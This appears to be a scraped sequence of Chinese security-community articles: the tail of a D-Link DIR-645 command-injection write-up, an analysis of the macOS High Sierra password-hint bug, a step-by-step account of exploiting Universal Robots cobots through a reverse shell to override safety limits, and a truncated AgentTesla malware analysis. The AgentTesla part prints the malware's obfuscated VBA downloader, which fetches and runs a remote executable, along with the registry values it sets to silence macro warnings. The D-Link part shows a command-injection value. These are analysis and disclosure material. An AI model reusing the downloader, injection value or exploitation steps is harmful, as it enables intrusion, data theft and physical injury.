.text:0040CF34 bnez $v0, loc_40CF58
整个动态调试的过程大致如下，可以看到`lxmldbc_system`参数为`event %s >
/dev/null`以及`;ifconfig&\n`，最终构成命令`;ifconfig&\n >
/dev/null`，命令注入的时候可以不用`&`来结束，用`;`也可以，为的是不要把执行结果重定向到`/dev/null`中，而是返回回来。
0x0040cf34 in servicecgi_main ()
(gdb) x/2i $pc
=> 0x40cf34 <servicecgi_main+316>: bnez v0,0x40cf58 <servicecgi_main+352>
0x40cf38 <servicecgi_main+320>: lui a2,0x42
(gdb) i r $v0
v0: 0x0
(gdb) set $v0=1
(gdb) c
Continuing.
Breakpoint 1:
0x0040d038 in servicecgi_main ()
(gdb) x/2i $pc
=> 0x40d038 <servicecgi_main+576>: jalr t9
0x40d03c <servicecgi_main+580>: nop
(gdb) i r a0 a1
a0: 0x420d10
a1: 0x435108
(gdb) x/s $a0
0x420d10: "event %s > /dev/null"
(gdb) x/s $a1
0x435108: ";ifconfig&\n"
(gdb)
## 补丁比对
将1.04的cgibin进行分析，发现其关键部分代码发生了一定的变动，不再是使用`lxmldbc_system`调用`system`函数执行命令，而是将用户传入的参数，当成应用程序的参数，最后调用`execel`去执行，规避了命令注入。
// 第一部分， 调用解析参数FUN_0040ce38函数
else {
__s1 = "/usr/sbin/event";
__format = "event";
pcVar4 = (char *)0x0;
iVar5 = iVar2;
LAB_0040d180:
FUN_0040ce38(__s1,__format,iVar5,pcVar4);
}
//第二部分 FUN_0040ce38函数调用execel
undefined4 FUN_0040ce38(char *pcParm1,char *pcParm2,undefined4 uParm3,undefined4 uParm4)
{
__pid_t __pid;
int iVar1;
undefined4 uVar2;
__pid = fork();
if ((-1 < __pid) && (__pid == 0)) {
close(1);
iVar1 = execl(pcParm1,pcParm2,uParm3,uParm4,0);
if (iVar1 < 0) {
return 0xffffffff;
}
}
## 小结
感觉dir系列的洞还挺多的，大概率最新版的固件里面应该也有问题。
相关文件和代码[链接](https://github.com/ray-cp/Vuln_Analysis/tree/master/D-Link-dir-645-rce)
## 参考链接
1. [路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现](https://www.anquanke.com/post/id/178279)
2. [dlink_auth_rce](https://github.com/ChiefyChief/dlink_shell_poc/blob/master/dlink_auth_rce)
3. [路由器漏洞复现分析第二弹：CNVD-2018-01084](https://www.freebuf.com/vuls/162627.html) | 社区文章 |
# 【技术分享】对macOS High Sierra补充更新的逆向分析
|
##### 译文声明
本文是翻译文章，文章来源：cocoaengineering.com
原文地址：<https://cocoaengineering.com/2017/10/08/reverse-engineering-macos-high-sierra-supplemental-update/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**macOS出现Bug密码提示直接显示密码**
不久前，巴西软件开发者 Matheus Mariano发现了苹果公司最新操作系统 **High Sierra**
中的重大的编程Bug，系统的磁盘工具直接将加密 **APFS**
宗卷的密码明文显示出来。本应显示的是密码提示，但这个编程bug却直接将密码给显示出来了。这个严重的安全问题很快就成了各大技术网站的头条。
可怕的密码提示bug：这里的“dontdisplaythis”实际上就是密码。
之后，苹果开始通过App Store向客户提供macOS High Sierra **补充更新** ，并确保服务器中的每个High
Sierra版本都包含该更新。
**通过逆向过程分析Bug成因**
在本文中，我们将利用二进制文件对比技术来研究一下这个更新，深入剖析引起该bug的根本原因，并以此为鉴，防止将来犯同样的错误。
通过检查大小为51MB的软件包，我们可以看到Disk Utility和Keychain Access应用程序以及相关框架和命令行工具中都发生了变化：
由于本文只关注密码提示bug，所以我们的第一步是提取Applications/Utilities/Disk
Utility.app/Contents/MacOS/Disk Utility ，并将其与之前留存的macOS 10.13 High
Sierra中的相同二进制文件进行比较。为此，我写了一个Emacs扩展，每当我在缓冲区中加载Mach-O文件时，都会启动IDA，生成一个包含反编译函数的SQL数据库，然后加载修补过的二进制文件，最后显示由Diaphora生成的差别报告。
这种技术对于解构由次要修补程序版本更新的二进制文件非常有用，因为通常只有很少的变动，并且常用的试探法也很奏效。
两个版本的Disk Utility二进制文件在反编译后，两者之间并没有什么区别：
这通常意味着唯一的重大变化发生在某些链接的框架中。在这次调查过程中，最有可能的目标就是StorageKit了，这是一个私有的Apple框架，其作用是将APFS功能暴露给Disk
Utility。
它有两个部分组成：客户端库和守护进程storagekitd。客户端使用苹果的标准XPC机制连接到守护程序。而守护进程则执行客户端请求的各种操作（即NSOperation的子类）。Disk
Utility中的StorageKit有一个有趣的用法：
从Disk Utility中的控制器代码引用StorageKit结构。
这是在从Disk Utility界面添加新的APFS卷时运行的代码（具体来说，负责管理新的卷表的控制器）中的一部分。
通过比较StorageKit，我们可以得到更多感兴趣的结果：
[SKHelperClient
addChildVolumeToAPFSContainer:name:caseSensitive:minSize:maxSize:password:passwordHint:progressBlock:completionBlock:]
是补充更新修改的函数之一。 检查反编译的差异对比，可以帮助我们揭示实际的bug：
在上图中，原先带有bug的StorageKit与更新后的明显不同。其中，删除的行我们以红色显示，添加的行用绿色显示，黄色表示发生变化的内容。上述函数的作用就是创建了一个NSMutableDictionary（Cocoa的哈希表）的实例，并填充有关该卷的信息。这个字典传作为optionsDictionary参数递给addChildVolumeToAPFSContainer:optionsDictionary:handlingProgressForOperationUUID:completionBlock:。
这个字典中最有趣的键是kSKAPFSDiskPasswordOption和kSKAPFSDiskPasswordHintOption，它们分别负责存储密码和提示密码。这里的bug是将包含密码的同一个变量（在反编译中表示为相同的虚拟寄存器v50）用作字典中两个键的值，这意味着明文密码通过XPC作为密码提示错误地发送了出去。通过重建Objective-C代码，该bug大致如下所示：
NSMutableDictionary *optionsDictionary = [NSMutableDictionary alloc] init];
[...]
optionsDictionary[kSKAPFSDiskPasswordOption] = password;
optionsDictionary[kSKAPFSDiskPasswordHintOption] = password;
以下是补充更新中经过纠正后的函数：
请注意，这里为密码和密码提示设置了不同的变量。
这是一种常见的bug：复制和粘贴使用了公共结构的代码后，开发人员忘记进行必要的修改，从而导致代码的行为发生了致命的变化。如果对这方面的内容感兴趣的话，这篇博客文章中提供了更多开源软件中“Last
Line Effect”错误的示例。
需要重点强调的是，虽然这个特定的字典没有被存储到任何地方（它只是用来打包发送到storagekitd的信息），但是误将密码作为密码提示发送这一事实，意味着storagekitd信任客户端，并将其存储为明文，认为这是一个密码提示。
**
**
**为什么在使用命令行时不会出现该bug？**
这是一个非常常见的问题。显然，Disk Utility和命令行 **diskutil**
使用了不同的代码路径。StorageKit好像对diskutil没有直接依赖关系，或者间接的依赖关系。这里是otool -L的输出结果：
/usr/lib/libcsfde.dylib (compatibility version 1.0.0, current version 1.0.0)/usr/lib/libcsfde.dylib (compatibility version 1.0.0, current version 1.0.0)
/usr/lib/libCoreStorage.dylib (compatibility version 1.0.0, current version 1.0.0)
/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 1443.14.0)
/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit (compatibility version 1.0.0, current version 275.0.0)
/System/Library/PrivateFrameworks/DiskManagement.framework/Versions/A/DiskManagement (compatibility version 1.0.0, current version 1.0.0)
/System/Library/Frameworks/DiscRecording.framework/Versions/A/DiscRecording (compatibility version 1.0.0, current version 1.0.0)
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration (compatibility version 1.0.0, current version 1.0.0)
/usr/lib/libicucore.A.dylib (compatibility version 1.0.0, current version 59.1.0) /usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 228.0.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1252.0.0)
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 1443.13.0)
这种复制或多或少具有相同的功能，虽然有时是正当的，但肯定会增加出错的机会。
**
**
**如何防止这种类型的bug？**
有两个工程实践可以帮助我们应付这样的bug（但不能完全根除它们）：
**单位测试**
单元测试是生成软件测试的一种实践方法，每次测试都是针对计算机程序中的单个单元的，其中“单元”通常是类或模块。有效的单元测试需要可靠地检测输出是否与预期的输出相符。在这个特定的bug中，需要用到与XPC服务的通信，因此将创建字典的逻辑与服务通信的部分分开将会有所帮助。当软件设计不容易测试时，如果公司过度依赖手动测试，那么这不是一种非常有效的测试方式，由于现代软件中典型的组合数量很多，人工难免会出现纰漏。
**代码审查**
代码审查是在软件项目中将代码纳入主要开发分支之前或之后审查代码的做法。代码审查的审查对象应该尽量较小，以便于审查人员可以集中注意力，从而提出更好的改进建议，甚至发现本文中提到的这种bug。如果一次审查大量代码的话，那么“last
line”bug就很容易成为漏网之鱼。
**
**
**小结**
当苹果万众瞩目的High
Sierra首次亮相的时候，竟然出现了一个惊人的bug，这确实有点尴尬。在本文中，我们对这个bug进行了深入剖析，通过分析其根本原因，帮助读者弄清楚其中到底发生了什么，最后给出了两种有效的软件开发实践（包括可测试的设计和严格的代码审查），帮助我们尽量少犯同样的错误。 | 社区文章 |
# 【技术分享】黑科技：看我如何利用多个漏洞黑掉一台机器人系统
|
##### 译文声明
本文是翻译文章，文章来源：ioactive.com
原文地址：<http://blog.ioactive.com/2017/08/Exploiting-Industrial-Collaborative-Robots.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在我们看来传统的工业机器人是很无趣的。通常情况下，它们独自或者在人类的指导下在制造和生产环境中执行重复性的，程序化的任务。它们经常被用来执行危险或不适合人类去干的任务，因此，它们的工作环境往往与人类或者其他有价值的机器隔离开来。
但是最新一代的协同机器人（“cobots”）并非如此。在符合安全标准的同时，他们与人类或者其他机器在共同的环境中工作。这一代机器人与人类携手并进，协助人类完成工作，而不仅仅是执行自动化的，危险性的操作。
Cobots可以学习移动，通过高清摄像机“看”，或通过麦克风“听到”来完成工作。
因此，Cobots比传统的工业机器人呈现出了更为有趣的攻击研究。但是，Cobots只限于工业应用？不，他们也可以被集成到其他装置中！
去年二月，Cesar Cerrudo和我发表了一篇非技术论文“Hacking Robots Before
Skynet”，在这篇论文中我们对来自多家知名厂商的几款家用，商用以及工业机器人进行了研究，在这些机器人中我们发现了近50个关键的安全漏洞。在Cobots这部分机器人部分，我们对包括来自Rethink
Robotics的Baxter / Sawyer和Universal的UR机器人进行了研究，这些都是工业机器人行业的领导者。
Baxter /
Sawyer：针对这款机器人，我们发现其存在身份验证漏洞，采用不安全的协议传输和默认的部署配置，易受到物理攻击以及使用了一个存在多个安全漏洞的框架-ROS，该公司已经在2017年2月修复了我们报告的主要问题。
UR：我们在许多控制协议中发现了身份验证问题、易受到物理攻击、内存破坏漏洞以及不安全的通信传输等安全漏洞。所有这些问题在最新版本（3.4.2.65，2017年5月）的系统中中仍未修补。
根据IOActive网络安全公司漏洞披露的政策，我们已经在去年1月份与供应商取得了联系，所以他们有足够的时间来修复这些漏洞并通知客户。我们的目标是使cobots机器人更安全，防止攻击者利用漏洞对企业，员工和周围环境造成严重伤害。我真的希望这篇文章可以推动cobots机器人的安全性能够向前发展，使得我们可以安全地使用现在的这些机器人以及后续更多代的机器人。
在这篇文章中，我将讨论攻击者如何通过cobot（例如UR3，UR5，UR10 – Universal
Robots）机器人的多个漏洞来远程修改安全设置，违反适用的安全准则，通过移动机器人对其周围的工作人员造成身体上的伤害。通过这个例子我们可以看到如果这些系统被黑客攻击或者控制可能会给人类造成多么严重的后果，操纵安全限制和禁用紧急按钮可能直接威胁到人的生命。在这个例子中，我们利用了cobot机器人的六个漏洞来改变其安全限制，并通过远程网络禁用安全面板和紧急按钮/传感器，演示视频可以在下面这个url中看到：
问：这些机器人真的可以伤害一个人吗？
答：是的，加拿大蒙特利尔(ETS)技术研究所的控制和机器人实验室的一项研究清楚地表明，即使是较小的UR5模型，其强大到足以严重伤害一个人。即使是在慢速移动中，他们的力量也足以造成颅骨骨折
问：等等，他们有没有安全功能，防止他们伤害附近的人类？
A：是的，但是黑客可以远程入侵，我将在下一个技术部分告诉你黑客是如何入侵机器人系统的。
问：这些机器人部署在哪里？
A：世界各地，每天在多个生产环境中都有机器人在工作。
**集成商定义所有安全装置**
Universal
Robots公司是UR机器人的制造商，但是在特定应用中安装UR机器人的公司是集成商，一个机器人只有集成和安装之后才被认为是一个完整的机器。
UR机器人的集成商负责确保消除整个机器人系统的任何重大危险，这包括但不限于：
1\. 对整个系统进行风险评估，在许多国家，这是法律规定的的必要流程。
2\. 如果风险评估认为安全，则连接其他机器和其他安全装置
3\. 在Polyscope软件（控制面板）中设置相应的安全设置，确保用户不会使用“安全密码”来修改任何安全措施。
4\. 验证整个系统的设计和安装是否正确
Universal Robots公司已经意识到集成商必须考虑机器人存在的潜在的重大危害例如：
1\. 机器人工具或者工具连接器上的锋利的刀边或者刀尖有可能刺伤皮肤；
2\. 机器人轨道附近的障碍物上的锋利刀边或者刀尖有可能刺伤皮肤；
3\. 由机器人的碰撞引起的瘀伤；
4\. 由机器人沉重的机器零件或者材料表面之间的碰撞而产生的扭伤或骨折；
5\. 由于未经授权更改安全配置参数而导致的错误
一些安全相关功能是专为cobot应用而设计的，这些功能包括：
1\. 力和功率限制：用于在机器人和操作员之间碰撞的情况下，减少机器人在运动方向上施加的夹紧力和压力；
2\. 动量限制：通过降低机器人的速度，用于在机器人和操作者之间碰撞的情况下减少高瞬态能量和冲击力；
3\. 刀具定向限制：避免锋利的刀边指向操作者；
4\. 速度限制：用于确保机器人手臂低速运行；
5\. 安全边界：用于限制机器人的工作空间，强制其停留在定义的虚拟平面的正确一侧，而不能通过它们。
6\. 安全I/O：当触发此输入安全功能（通过紧急按钮，传感器等）时，向输入端发送低信号，并使安全系统转换到“减小”模式。
安全设置可以有效防止许多潜在危险事件。但是，如果恶意攻击者绕过这些安全措施，操纵机器人来威胁人类生命，那可能会发生些什么呢？
UR用户指南的声明
**远程更改安全配置**
“安全配置只能根据集成商进行的风险评估进行更改。如果改变了安全参数，机器人的整个系统应当被认为是新的，这意味着包括风险评估在内的整个安全审批流程应该相应的更新“。
远程更改安全配置的过程如下所示：
步骤1.通过在UR Dashboard Server上利用身份验证漏洞来确认远程机器人系统的版本信息；
步骤2.通过在UR Modbus TCP服务中利用基于堆栈的缓冲区溢出漏洞获得对系统的控制权限，并以root身份执行命令；
步骤3.修改security.conf文件，该文件将覆盖所有的通用安全限制，接头限制，边界和安全I/O值限制；
步骤4.强制绕过计算校验和值，并上传新文件。我们需要伪造这个校验和值，因为通常集成商很可能在硬件上写入当前的校验和值；
步骤5.重新启动机器人，以便更新安全配置；
步骤6.通过利用UR控制服务上的认证问题，以任意危险的方式操作机器人。
通过逆向分析ursys-CB3.1-3.3.4-310.img这个系统镜像，我知道了机器人的入口点以及允许网络上的其他机器与操作系统进行交互的服务程序。对于此演示，我使用供应商提供的URSim模拟器，该模拟器包含了机器人镜像中大部分核心的二进制文件。尽管这个示例使用模拟器可以更为清楚展示攻击效果，但我还是修改了这个二进制文件，修改后的文件部分代码可以在Linux机器上正常运行。URControl这个二进制文件中导出了很多不同的网络服务，这些网络服务的私有协议在实现上都没有使用强大的认证机制。例如，网络上的任何用户都可以向其中一个服务发出命令，并获取正在运行的进程的远程操作系统的版本（步骤1）：
现在我已经验证了远程目标运行着一个易受攻击的系统ursys-CB3.1-3.3.4-310（UR3，UR5或UR10），下一步我准备利用网络服务漏洞来破坏这个机器人系统（步骤2）。由于UR Modbus
TCP服务（端口502）不支持对命令源的认证机制，因此，网络攻击者可能会在控制的过程中破坏机器人系统。与机器人IP连接的攻击者可以发出Modbus读/写请求，并部分更改机器人的状态或向操作人员发送请求，以更改控制链接的状态。发送Modbus写请求并不能改变机器人的任何安全设置，然而，我们在在UR
Modbus TCP接收器（URControl内核的一个二进制文件）中发现了一个基于堆栈的缓冲区溢出。
UR Modbus
TCP服务程序的recv函数存在堆栈缓冲区溢出漏洞，攻击者通过该函数可以向程序的缓冲区写入超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其他的指令，以达到攻击的目的，这是一个很常见的堆栈缓冲区漏洞。
在进行漏洞利用之前，我们先来看一下漏洞利用的将要面临的阻碍。机器人的Linux内核被设置为堆栈随机化（randomize_va_space = 1 =>
ASLR），VDSO（virtual dynamic shared object page）和内存区域共享。此外，由于内核中的"No eXecute"
(NX) 被置位，因此该内核文件是不可写以及不可执行的。
当对目标缓冲区进行溢出操作时，我们也需要要对指向函数参数的指针执行溢出操作。在函数返回之前，这些参数在其他函数调用中被使用，所以我们必须要为这些函数调用提供有效的实参。否则，我们永远不能找到函数的返回点以及控制函数的执行流程。
如上图所示，edx +
0x2c内存地址中的值作为一个参数传递给了0x82e0c90函数，另一个就是EBX寄存器（从我们以前的EDX控制指针计算出来）也需要指向一个与文件描述符相关的结构体变量。
在实现上，需要选择符合上述两个要求的静态地址，我使用以下静态区域，因为ASLR技术会使内存中其他地址都可能发生变化。
我写了一些脚本用来找到一个合适的内存地址，通过这些脚本我发现0x83aa1fc这个地址是完美的，因为它适合这两个条件：
**0x83aa1fc + 0x2c指向有效内存 – > 0x831c00a（“INT32”）**
**0x83aa1fc + 0x1014包含0（所有这个区域几乎都为零）**
现在我已经找到满足上述两个条件的解决方法，可以继续执行代码直到函数返回，并且通过溢出堆栈上保存的寄存器，我能够得到EIP的控制权：
现在，我控制了大部分的寄存器，所以我需要将我的shellcode放到机器内存中的某个地方，并将函数的执行流重定向到shellcode那里。为此，我在实现上使用了面向返回的编程（ROP），遇到的难题是需要合适的EXP代码来执行漏洞利用。自动ROP链工具不能很好地满足我的需求，所以我决定自己手动进行此操作。
现在，我最终目的是希望在目标系统中执行一个反弹shell以连接到我的攻击机器上。在Linux系统中构建基于远程ROP漏洞利用的一个关键点是系统调用，在这些可靠的系统调用函数中，我可以使用诸如write或dup2之类的系统函数去重用已经创建的套接字来反弹一个shell。
在这个二进制文件中，我只找到一个int
0x80指令，该指令用于在支持x86指令集的Linux系统中调用系统调用。使用该指令我只能执行一个系统调用：我将使用execve系统调用来执行一个程序。int
0x80指令需要使用设置在一个寄存器中的一个系统调用号（EAX，在本例中为0xb），然后设置一个指向特殊结构的寄存器（EBX）。这个结构包含一个指针数组，每个指针指向要执行的命令的参数。
想要触发这个漏洞，就不能在请求缓冲区上使用空字节（0x00）。这是碰到的另一个难题，因为我们需要发送命令和参数，并创建一个以空字节结尾的指针数组。为了克服这个难题，在请求中我先发送一个占位符（像0xFF这样的字节块），之后利用ROP在运行时将占位符0xFF替换成0x00。
伪代码中如下图所示（通过TCP链接来反弹一个Shell）：
由于所有的受控数据都位于堆栈中，所以首先我将尝试将堆栈指针（ESP）与我的最大控制区段（STAGE
1）对齐。我将最大的受控部分分为两个阶段，因为它们都可能包含许多ROP代码。
正如前面所叙述的那样，此时我控制了EBX和EIP这两个寄存器。接下来，我必须将ESP与任何控制的区段对齐，以便我可以开始执行ROP代码。
以下代码片段（ROP1 0x8220efa）用于调整ESP：
这样ESP = ESP + EBX – 1，上面的代码将ESP与我的STAGE 1部分的代码对齐。
EBX应该将ESP减少0x137字节，所以我使用数字0xfffffec9（4294966985），因为当把该数字添加到ESP时，我们就能够得到所需的值。
当代码的retn指令执行时，STAGE 1的ROP代码将会开始执行。漏洞利用的第1阶段将执行以下操作：
1\. 将结构体变量的末尾字节置0。这样处理器就会知道EXECVE参数只是这三个指针。
2\. 在我们的结构体参数中保存指向我们第一个命令的指针。
3\. 跳到STAGE 2，因为这里没有太多的空间。
漏洞利用的第2阶段将执行以下操作：
1\. 将cmd []数组中的每个参数末尾的 xff xff xff xff删除。
2\. 在我们的结构体参数中保存一个指向cmd []数组中第二和第三个参数的指针。
3\. 为EXECVE准备寄存器。如前所述，我们需要
EBX = * ARGS []
EDX = 0
EAX = 0XB
4.调用int 0x80代码并执行反弹shell。
一旦TCP反弹shell的有效载荷被执行，机器人系统便会发送一个请求用来和我的攻击电脑建立链接。现在我可以执行命令，并可以使用sudo在机器人控制器中以root身份执行命令。
安全设置保存在security.conf文件中（步骤3），Universal
机器人在系统中实现了CRC（STM-32）算法，使用此算法为二进制文件提供完整性校验，并将计算的校验值保存在磁盘上。但是该算法不会为安全配置提供任何真正的完整性校验，因为对新配置计算产生的新校验值，可能会与文件系统上的某个特殊文件的校验值产生冲突。我逆向分析了对每个安全配置进行计算的算法，并用代码实现了该算法。在视频演示中，尽管伪造一个新的CRC校验值可能会使攻击变得更容易，但我并没有这样做，而是保持该CRC校验值不变（位于屏幕的右上角）（步骤4）。
在修改机器人上的任何安全配置之前，我创建了一个进程，该进程会在25秒后自动启动一个机器人控制器的新实例，这将给我足够的时间来下载，修改和上传一个新的安全设置文件。以下命令创建了一个新的URControl进程。命令中我使用的是Python语言，因为它允许我在执行forking操作时关闭当前正在运行的所有进程文件描述符。因为我正在从反弹shell的对象中执行fork操作，所以我需要创建一个不继承任何文件描述符的新进程，以便在父进程URControl被关闭时，从该进程fork的子进程也都会被关闭。
现在我有25秒下载当前文件，修改它，计算新的CRC，重新上传它，并关闭正在运行的URControl进程（它具有较旧的安全设置配置），我可以通过使用kill命令来关闭当前的URControl进程（步骤5）。
最后，我将此命令发送到URControl服务，以加载我们上传的新配置文件，同时我也关闭可能会出现在用户界面上的任何弹出窗口。
最后，攻击者可以简单地调用URControl服务中的movej函数，以自定义速度和加速度远程移动被攻击者控制的机器人（步骤6）。
**后记**
本文我向大家展示了先进的机器人系统中存在的安全漏洞以及被利用的整个过程，这些其实都是非常技术性的安全漏洞，如其中一个协议的缓冲区溢出漏洞，将整个机器人系统的安全性暴露给了远程的攻击者。
我们已经在一月份向供应商报告了漏洞的整个流程，但是该漏洞还没有被修补。 | 社区文章 |
# 【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.fortinet.com
原文地址：<http://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**背景**
FortiGuard实验室近期捕获到了一些使用微软.Net框架开发的恶意软件，我们对其中比较典型的一个进行了分析。该恶意软件是AgentTesla家族的一个变种，通过含有能自动执行的恶意VBA宏的Word文档实现传播。本文将全面分析这一恶意软件是如何从用户机器中窃取信息的。下图是打开包含恶意代码的Word文档时的界面。
**对VBA代码的分析
**
单击“Enable
Content”（启用内容）按钮后，会在后台偷偷执行恶意VBA宏。代码首先将一些键值写入设备的系统注册表中，以避免在下次打开带有不安全内容的Word文档时再出现宏安全警告。以下是写入注册表中的内容：
HKCUSoftwareMicrosoftOffice{word version}WordSecurity,AccessVBOM, dword, 1 HKCUSoftwareMicrosoftOffice{word version}WordSecurity,VBAWarning, dword, 1
写入完成后，它会在一个新的Word进程中重新打开Word文档。这时，宏会再次执行，但这一次它执行的是不同的代码部分。在重新启动的Word程序中执行的宏，主要目的是动态获取一个新的VBA函数（ljRIpdKkSmQPMbnLdh）并得到它的调用。
该函数如下：
Sub ljRIpdKkSmQPMbnLdh()
Dim dmvAQJch As String
Dim JWyaIoTHtZaFG As String
Dim TrbaApjsFydVkOGwjnzkpOB As String
dmvAQJch = CreateObject(ThisDocument.bQYHDG("66627281787F833D6277747B7B", 15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34", 15))
JWyaIoTHtZaFG = ThisDocument.bQYHDG("6B", 15)
TrbaApjsFydVkOGwjnzkpOB = ThisDocument.bQYHDG("797085823D748774", 15)
dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVkOGwjnzkpOB
Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String
cllbWRRTqqWoZebEpYdGmnPBLAx = ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15)
Dim OhYBGFWMcPWNnpvvuTeitVAK As Object
Set OhYBGFWMcPWNnpvvuTeitVAK = CreateObject(ThisDocument.bQYHDG("5C7872817E827E75833D675C5B5763635F", 15))
OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG("565463", 15), cllbWRRTqqWoZebEpYdGmnPBLAx, False
OhYBGFWMcPWNnpvvuTeitVAK.send
If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then
Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object
Set BIPvJqwtceisuIuipCzbpsWRuhRwp = CreateObject(ThisDocument.bQYHDG("50535E53513D62838174707C", 15))
BIPvJqwtceisuIuipCzbpsWRuhRwp.Open
BIPvJqwtceisuIuipCzbpsWRuhRwp.Type = 1
BIPvJqwtceisuIuipCzbpsWRuhRwp.Write OhYBGFWMcPWNnpvvuTeitVAK.responseBody
BIPvJqwtceisuIuipCzbpsWRuhRwp.SaveToFile dmvAQJch, 2
BIPvJqwtceisuIuipCzbpsWRuhRwp.Close
End If
If Len(Dir(dmvAQJch)) <> 0 Then
Dim TGoCeWgrszAukk
TGoCeWgrszAukk = Shell(dmvAQJch, 0)
End If
End Sub
此函数中的所有关键部分都被编码。解码后如下：
bQYHDG("66627281787F833D6277747B7B", 15) => “WScript.Shell”
bQYHDG("3463747C7F34", 15) => “%Temp%”
bQYHDG("797085823D748774", 15) => “javs.exe”
bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15) => “hxxp://45.77.35.239/1/today.exe”
bQYHDG("5C7872817E827E75833D675C5B5763635F", 15) => “Microsoft.XMLHTTP”
bQYHDG("565463", 15) => “Get”
从上面高亮的关键字可以发现，此恶意软件可以下载一个可执行文件，并通过调用“Shell”函数运行该文件。具体来说，恶意软件是将“today.exe”文件下载到%Temp%目录下，重命名为“javs.exe”，然后运行。
**对javs.exe的分析**
从上图中PE分析工具的分析结果中，我们可以看到javs.exe是使用.NET框架构建的。然而这一文件使用了PDF相关的图标，用以迷惑用户。
在执行后，它通过调用带有CREATE_SUSPENDED标志的CreateProcessA函数来启动另一个进程。这一过程将允许通过调用WriteProcessMemory函数来修改第二个进程的内存。最后，通过调用SetThreadContext和ResumeThread函数来恢复进程。
下图展现了CreateProcessA是如何被调用的：
通过分析，我们确定通过调用WriteProcessMemory注入到第二个进程中的数据是另一个可执行文件。此文件是从第一个javs.exe进程中的BMP资源中解码得到的。这一注入的可执行文件同样是用.NET框架构建的。
我们知道，.NET程序只包含已编译的字节码。而字节码只能在其.NET
CLR虚拟机中解析和执行。因此，使用Ollydbg或Windbg这些工具分析.NET程序的难度将非常大，我们需要选择其他合适的分析工具。
**对第二个.NET程序的分析**
在前面的分析过程中，我们已经确定第二个.NET程序是由javs.exe进程的内存中动态解码而成。因此，我们要尝试捕获其整个数据，并将其保存为exe文件进行分析。我们使用内存工具直接从第二个进程的内存中转储它，如下图所示。
在转储过程中，提示“PE文件已损坏”，原因可能在于转储文件的PE头部是错误的。我们可以使用任何一种脱壳手段手动修复PE头部。随后，转储文件便可以被识别、静态分析和调试。如下图，修复后的文件被识别为.NET程序集，同时还可以在CFF资源管理器中看到.NET目录信息。
恶意软件的作者使用了一些反分析技术。例如，对函数名和变量名进行模糊处理以使其难以理解，进行编码以隐藏关键字和关键数据。因此，分析人员很难分析出恶意软件的工作方式。由于类、函数和变量的名称不可读，修复后的.NET程序甚至会造成静态分析工具.NET
Reflector无法正常工作。使用反分析技术的部分代码如下：
为了更好地分析恶意软件，我们尝试将可读性差的名称重新命名。在后续的分析中，代码中涉及到的名称均被重命名为易于理解的名称。
以上我们就完成了全部准备工作，接下来就可以对该恶意软件的整体进行分析。
**对.NET恶意软件的整体分析**
一旦运行，它将通过当前运行的进程来杀死所发现的重复进程。随后，向C&C服务器发送“uninstall”（卸载）和“update”（更新）命令。如果从服务器返回的响应中包含“uninstall”字符串，便会删除其在计算机上写入的全部信息并退出。当我运行的恶意软件,
没有 "卸载" 字符串包含在响应, 所以我可以继续分析。下图展现了将“update”命令发送到C&C服务器的过程：
从上图中标记的位置我们可以发现，C&C服务器的地址是“hxxp://www.vacanzaimmobiliare.it/testla/WebPanel/post.
php”，该地址在 “SendToCCServer”函数中被解密。HTTP的请求方式是POST。
接下来,
它将自己从“%temp%javs.exe”复制到“%appdata%JavaJavaUpdtr.exe”。通过这种方式，它使得自己看起来像一个Java更新程序。接着，它将自己的完整路径写入系统注册表中的“SoftwareMicrosoftWindows
NTCurrentVersionWindowsload”键值中，以便在系统启动时自动运行JavaUpdtr.exe。
下面的代码是该恶意软件定位JavaUpdtr.exe完整路径的方法：
private static string appdata_Java_JavaUpdtr.exe = Environment.GetEnvironmentVariable("appdata") + "\Java\JavaUpdtr.exe";
该恶意软件可以记录计算机的键盘输入，实时从系统的剪贴板中窃取数据，捕获计算机屏幕截图，并收集已安装软件的用户凭据。为了完成这些任务，它创建了多个线程和计时器，我们接下来将进行分析。
**窃取键盘输入、系统剪贴板内容和屏幕截图**
在调用main函数前，在main类的构造函数中定义了三个Hook对象，分别用于记录键盘、鼠标和剪贴板。之后，它对这些Hook的功能进行设置，以便当用户从键盘输入内容时，或者当剪贴板数据被更改（使用Ctrl+C）时，会首先调用挂钩函数。
在这个函数中，它首先抓取用户键入的窗口标题，并将其放入html代码中。接下来，它会捕获用户按键，并将按键字符串转换为html代码，形如：
HTML代码被连接到变量“pri_string_saveAllStolenKey_Clipboard_Data”：
恶意软件还会创建一个计时器，每10分钟调用一次函数。计时器的函数可以使用“Graphics::CopyFromScreen”这一API抓取用户的屏幕截图，并保存到文件
